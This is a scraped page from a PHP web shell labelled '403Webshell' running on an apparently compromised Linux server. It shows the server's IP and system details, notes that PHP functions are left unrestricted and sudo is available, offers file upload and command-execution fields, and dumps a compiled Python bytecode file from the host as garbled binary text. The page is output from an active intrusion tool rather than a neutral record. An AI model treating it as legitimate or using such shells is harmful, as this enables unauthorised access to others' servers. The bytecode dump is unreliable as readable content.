403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/lock.cpython-314.pyc
+
��g���>�^RIt^RIt^RIt^RIHt^RIHtHtHt^RI	H
t
HtHt^RI
Ht^RIHtHt^RIHt^RIHt]P,!]P.!]44t!R	R
]
4t]!]]!RRR
7]P64tRRltRt!RR4tR#)�N)�Tuple)�
exceptions�system�util)�
DataObject�Field�StringDataValue)�notices)�DataObjectFile�DataObjectFileFormat)�UAFile)�Noticec�Va�]tRt^to]!R]4]!R]4.tV3RlRltRtVt	R#)�LockData�lock_pid�lock_holderc�&<�V^8�dQhRS[RS[/#)�rr)�str)�format�
__classdict__s"��//usr/lib/python3/dist-packages/uaclient/lock.py�__annotate__�LockData.__annotate__s���'�'��'�3�'�c��WnW nR#�N�rr)�selfrrs&&&r�__init__�LockData.__init__s
�� �
�&�r)rrN)
�__name__�
__module__�__qualname__�__firstlineno__rr	�fieldsr �__static_attributes__�__classdictcell__�rs@rrrs*����
�j�/�*�
�m�_�-��F�
'�'rr�lockF)�privatec�F�V^8�dQhR\\\3,/#)r�return)r�intr)rs"rrr"s��'�'��s�C�x��'rc�n�\P4pRpT'gT#TPpTPp\P!RT.4\T4T3# \Pd'\P!\P
R7hi;i \Pd�\P!4'g'\PRTT4\T4T3u#\P!RTT4\P"!\P
4Tu#i;i)z�Return lock info if lock file is present the lock is active.

If process claiming the lock is no longer present, remove the lock file
and log a warning.

:return: A tuple (pid, string describing lock holder)
    If no active lock, pid will be -1.
)�lock_file_path�psz.Found stale lock file previously held by %s:%sz1Removing stale lock file previously held by %s:%s)����)�lock_data_file�readr�InvalidFileFormatError�InvalidLockFile�pathrrr�subpr.�ProcessExecutionErrorr�we_are_currently_root�LOG�debug�warning�ensure_file_absent)�
lock_data_obj�no_lockrrs    r�check_lock_inforB"s��M�&�+�+�-�
��G�����%�%�H��+�+�K�����T�8�$�%��H�
�{�+�+���,�,�M��(�(��8K�8K�L�L�M���+�+���)�)�+�+��I�I�@���
�
��M�;�/�/����?���	
�
	�!�!�.�"5�"5�6����s(�A �$B� ;B�/D4�$D4�4=D4�3D4c�.�\P4R#r)r4�delete�rr�clear_lock_file_if_presentrFLs�����rc�Ta�]tRt^PtoRtR^
R^/V3RlRlltRtRtRtR	t	Vt
R
#)�	RetryLocka,
Context manager for gaining exclusive access to the lock file.

Create a lock file if absent. The lock file will contain a pid of the
running process, and a customer-visible description of the lock holder.

The RetryLock will try several times to acquire the lock before giving up.
The number of times to try and how long to sleep in between tries is
configurable.

:param lock_holder: String with the service name or command which is
    holding the lock. This lock_holder string will be customer visible in
    status.json.
:param sleep_time: Number of seconds to sleep before retrying if the lock
    is already held.
:param max_retries: Maximum number of times to try to grab the lock before
    giving up and raising a LockHeldError.
:raises: LockHeldError if lock is held after (sleep_time * max_retries)
�
sleep_time�max_retriesc�,<�V^8�dQhRS[RS[RS[/#)rrrIrJ)rr.)rrs"�rr�RetryLock.__annotate__es+���	'�	'��	'��		'�
�	'rc�*�WnW nW0nR#r)rrIrJ)rrrIrJ�_argss&$$$*rr �RetryLock.__init__es��'��$��&�rc�^�\4wrV^8�d$\P!VPVVR7h\P\
\\P!44VPR74\P!\PVPR7R#)r)�lock_requestr�pidr)�	operationN)rBr�
LockHeldErrorrr4�writerr�os�getpidr
�addr�OPERATION_IN_PROGRESS)rr�cur_lock_holders&  r�	grab_lock�RetryLock.grab_lockps���&5�&7�#���a�<��*�*�!�-�-�+���
�
	����c�"�)�)�+�.�D�<L�<L�M�	
�	����(�(��&�&�	
rc�z�\PRVP4^pVP4R# \P
dop\PRT^,TP4T^,
pYP8�dTh\P!TP4Rp?K�Rp?ii;i)zspin lock starting for %sz%RetryLock Attempt %d. %s. Spinning...N)r<r=rr[rrT�msgrJ�time�sleeprI)r�tries�es&  r�	__enter__�RetryLock.__enter__�s����	�	�-�t�/?�/?�@����
0���� ����+�+�
0��	�	�;�U�Q�Y�������
���,�,�,��G��J�J�t���/�/��
0�s�7�B:�A#B5�5B:c�v�\P4\P!\P
4R#r)r4rDr
�removerrY)r�	_exc_type�
_exc_value�
_tracebacks&&&&r�__exit__�RetryLock.__exit__�s ���������v�3�3�4r)rrJrIN)r"r#r$r%�__doc__r r[rcrjr'r(r)s@rrHrHPs<�����(	'��		'�
�	'�	'�
� 0�"5�5rrH) �loggingrVr_�typingr�uaclientrrr�uaclient.data_typesrrr	�uaclient.filesr
�uaclient.files.data_typesrr�uaclient.files.filesr
�uaclient.files.noticesr�	getLogger�replace_top_level_logger_namer"r<r�JSONr4rBrFrHrErr�<module>rxs����	���-�-�B�B�"�J�'�)�
����:�:�8�D�E��'�z�'� ��
�6�5�!������'�T�C5�C5r

Youez - 2016 - github.com/yon3zu
LinuXploit